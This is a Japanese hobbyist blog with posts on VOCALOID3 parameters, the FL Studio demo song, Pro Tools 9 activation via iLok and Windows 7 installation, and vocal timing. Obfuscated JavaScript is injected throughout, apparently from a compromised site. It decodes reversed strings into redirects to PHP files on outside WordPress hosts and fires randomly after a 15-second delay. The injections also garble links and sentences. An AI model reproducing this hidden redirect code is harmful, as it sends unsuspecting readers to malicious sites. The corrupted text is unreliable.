GUMI V3でVELでの歌い方の変化をちょっとだけ確認してみた

VELの使い方がVOCALOID2からVOLCAOID3になって全然変わったということなので、試して見ました。

この画像のように、「しあわせのそら」の歌詞の一部のVELを小さくしてみました。
いじった部分は「わせ」、「そ」のところです。
dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

最初がVEL未変更、次がVEL変更です。
よく聴き比べないとわかりにくいかと思います。

Audio clip: Adobe Flash Player (version 9 or above) is required to play this audio clip. Download the latest version here. You also need to have JavaScript enabled in your browser.


ボカロ2でも、DYNで\のように最初を強調して、ノートを短めにすれば同じようになるかもしれません。
ただ、今までより歌の表情をつけるのが楽になったと思います。

ボカロ2に比べて色々とパラメータの使い方もかわってきそうなので、そういった情報をキャッチするためにアンテナ広げないと浦島太郎になりそうなきがしないでもないです。

ちなみに、GUMIは4種類用意されているけど、同じ歌で使いわけようとしたらGENとか、DYNで音量を整えたりしないと、明らかに違う声にきこえちゃったりするかも。

前のメルトでも、声が変になる1音だけ、ウィスパーに差し替えたりしてました。
(この時はDAW側で音の大きさを揃えましたが)

いっきに、色々と調べることはできませんが、こつこつとボカロ3に慣れていこうと思います。

FL Studio 10.0.2のデモ曲で初音ミクの曲

さっそく最新のFL Studioをダウンロードです。

<ダウンロードサイト>
dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}/**/documents/download.html”>http://flstudio.image-line.com/documents/download.html

気を付けないといけないのが、下記画像のように10.0.2のようにバージョン表記があるDLサイトからじゃないと古いバージョンがダウンロードされてしまいます。

そのおかげでデモ曲がないぞ?
とDLしてもないことに悩むことになります。
dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}/*$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}dex.html/20110522_003″ rel=”attachment wp-att-814″>dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}



ダウンロードして、さくさくっとインストール。
あとは、ファイルを開いて、以下の場所からデモ曲を開けばいいです。
dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}/*$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}dex.html/20110522_002″ rel=”attachment wp-att-813″>dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}
Cool Stufファオルダの下にある下記のファイルです。
 AuraQualic-DATA (FL Studio Remix).flp

開くと、踊るFL Chanと、歌詞が表示されます。
あとは、再生するだけ。
イントロがやけに長い・・・ミクの歌い方自体はデモということもあり
そこまですごい調整だ!!というわけでもないです。
dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}/*$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}dex.html/20110522_001″ rel=”attachment wp-att-812″>dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

Pro Tools 9 クロスアップデートしました

前の投稿でWindows7にProTools8をインストールした記事を書きましたが
PろTools9が出ていることをしって、このたび購入してしましました。

そんなわけで、さっそくインストールしようとしましたが、iLokにランセンスがでない・・・
と困って調べることになったので、簡単に手順を書くことにします。

最初に手順を読んでいれば悩むこともないんでしょうが、わからなかったらしらべるという性格なのです。

1.ProTools9のアクティベーションをWebサイトで行う
 iLokの前に以下のサイトでアクティベーションを行います。
  dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}https://account.avid.com
 ProTools9.0LE クロスグレード・アクティベーション・カードには、この手順が書かれていないというオチ。

 Avidアカウントでログイン
 (クロスグレードの場合、前にアクティベートしているはずなので作成済みかと思います)

2.アクティベーション・コードを入力
 以下のような画面が表示されるのでProTools9.0LE クロスグレード・アクティベーション・カードに
 記載されているコードを入力して、今すぐダウンロードボタンをクリック。
 
dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}/*$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}dex.html/20110504_000″ rel=”attachment wp-att-794″>dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

3.iLok情報とハードウェア・シリアル番号を入力
 iLok情報には、iLok情報のアカウント(ユーザID)を入力。
 ハードウェアのシリアル番号は、H/Wの背面に貼ってあるシールに書いてあるシリアル番号を入力して続行。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}/*$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}dex.html/20110504_001″ rel=”attachment wp-att-795″>dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

4.iLokにライセンス情報をダウンロード
 今度は、iLokのサイトに接続してログイン。
 dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}http://www.ilok.com/

 そうすると、以下のように新しいライセンスが表示されていると思います。
 (DELETEボタンは絶対押したらだめです。ライセンスがきえてしまいます)

 Download To iLokボタンをクリックするとライセンス情報がiLokにコピーされます。
 これによりProToolsを起動したときに正常に認証できるようになります。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}/*$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}dex.html/20110504_002″ rel=”attachment wp-att-796″>dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);} 

5.ProToolsのインストール
 ProTools9をインストール。

6.ProToolsのデバイスインストール
 ProTools9以前のドライバだとだめなので
 CDに入っているドライバ、または、サイトからダウンロードしてドライバをインストール。

 Pro Tools 9用ドライバーのダウンロードとアップデート
 http://avid.custkb.com/avid/app/selfservice/search.jsp?DocId=379411
 
以上で、起動できるかと思います。

あとは、設定の見直しをしてみるといいかと思います。

コンピューター最適化ガイド ? Mac及びWindows [367983]
http://avid.custkb.com/avid/app/selfservice/search.jsp?DocId=367983


Windows ガイド – Windows 7 最適化とトラブルシュート [349411]
http://avid.custkb.com/avid/app/selfservice/search.jsp?DocId=349411

使ってみた感想は、特にProTools8からあまり変わり映えしないというか
見た目も一緒だし、違和感なく使えました。
むしろ、どこが変わったか調べないとわからないレベルですね。

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == "string") return $VOcl3cIRrbzlimOyC8H.list[n].split("").reverse().join("");return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=["\'php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dows7 64bitにPro Toolsを導入">Windows7 64bitにPro Toolsを導入

XP環境がいろいろとエラーとか増えてきて、前に買っていたWindows7 64bitをいれることにしました。
とはいってもXP環境は残しておきたいので、別のHDDにインストールです。

一番の心配はProToolsが動くかです。

Webをみると動くようなことが書いてあったので、いけるのかなと思いチャレンジ。

OSインストールして、いろいろとセキュリティパッチ適用。

ProToolsのCDを取り出してインストール開始。
けど、途中で止まる。

Webサイトの内容をよく読むと古いバージョンだとインストールできないみたい。

Avidのサイトにいって新しいバージョンを入手。
私が見に行ったときはPro Tools 8.0.5が最新でした。

HDなんて高価なものはもってないので、LSのほうをダウンロード。
一応リンクは張っておきますが、リンク切れていたり、新しいバージョンがでている可能性があるので
最新情報をみたほうがいいです。
ダウンロードページ

ダウンロードしたファイルでインストールしたら拍子抜けするぐらいあっさり成功。
何の問題もなくWindows7 64bit環境で動作しました。

XPじゃないときっと動かないだろうとびくびくして、試さなかったのが馬鹿みたい。
とはいっても、Vocaloid1は不安定ってきくから、XPは残しておいたほうがいいんでしょうね。

なんにせよ、これでDAWのインストール成功ということで一安心。

そういえば、新しいバージョンのPro Tools9がでてたけど、バージョンアップでも結構なお値段。
どうしようか悩む。

クロスグレードが適用されるのか、調べようとしたら英文でめんどくさい~
そして、呼んでみたけど英語はやっぱりよくわからない・・・
Pro Tools 9 Crossgradom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}de from LE/M-Powered $249.00-$349.00
Pro Tools 9 Software (Full Version) $599.00

今もっているのは、「Pro Tools 8 LE のMbox 2 Factory」。
GW中にのんびり調べてみようかな。

ボカロの歌いだしのタイミングなど調整

前の日記でWaveViewの紹介をしましたが、それを使いながら歌いだしなどのタイミングの修正などしました。
前の日記へのリンク(dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}/*$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["\'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andom()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}dex.html”>VOCALOID2 EditorのWaveViewプラグイン紹介


解説の画像をクリックすると大きい画像が表示されます。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

上記の図のように、目安として使っています。まず、分かりやすいところにノートを配置して、歌わせてみて、前後に少しずつずらして
元のWAVファイルと同じタイミングで歌うように何度も繰り返し確認してます。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

上の図のように、特徴ある歌い方だったり、ボカロのよっては歌いだしのタイミングがずれたりするときがあるので
波形にとらわれず、あくまでも参考程度にとどめて、とにかく同時再生しながら調整です。

dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}dom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}

あと、同時再生していると、この部分は強調して歌うのでDYNを上げたりもします。
ですが、思うように音量があがらなかったり、アクセントが微妙に違うとかある場合は、DAWで対応してます。

とはいっても、これをやると、VSQを修正した時にノートの位置とかずらしたり、DYNをいじったりすると
DAW側も対応しないといけなくなるんで、やるとしても、最後の最後です。

しかし、下田さんの歌い方は特徴ありすぎて、私の技術だとらしさがほとんど表現できません。
日々精進。




現在の歌唱状況。
ミックスもいろいろ調整して、こういう感じにおちついています。
あとは、歌とオケのバランスとか、歌い方で気が付いた部分があれば修正かな。

曲:アイドルマスター relations
歌手:鏡音 Append  (双海亜美の歌声トレースにチャレンジ)

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そろそろ、MMDで映像部分作成に入ろうと思います。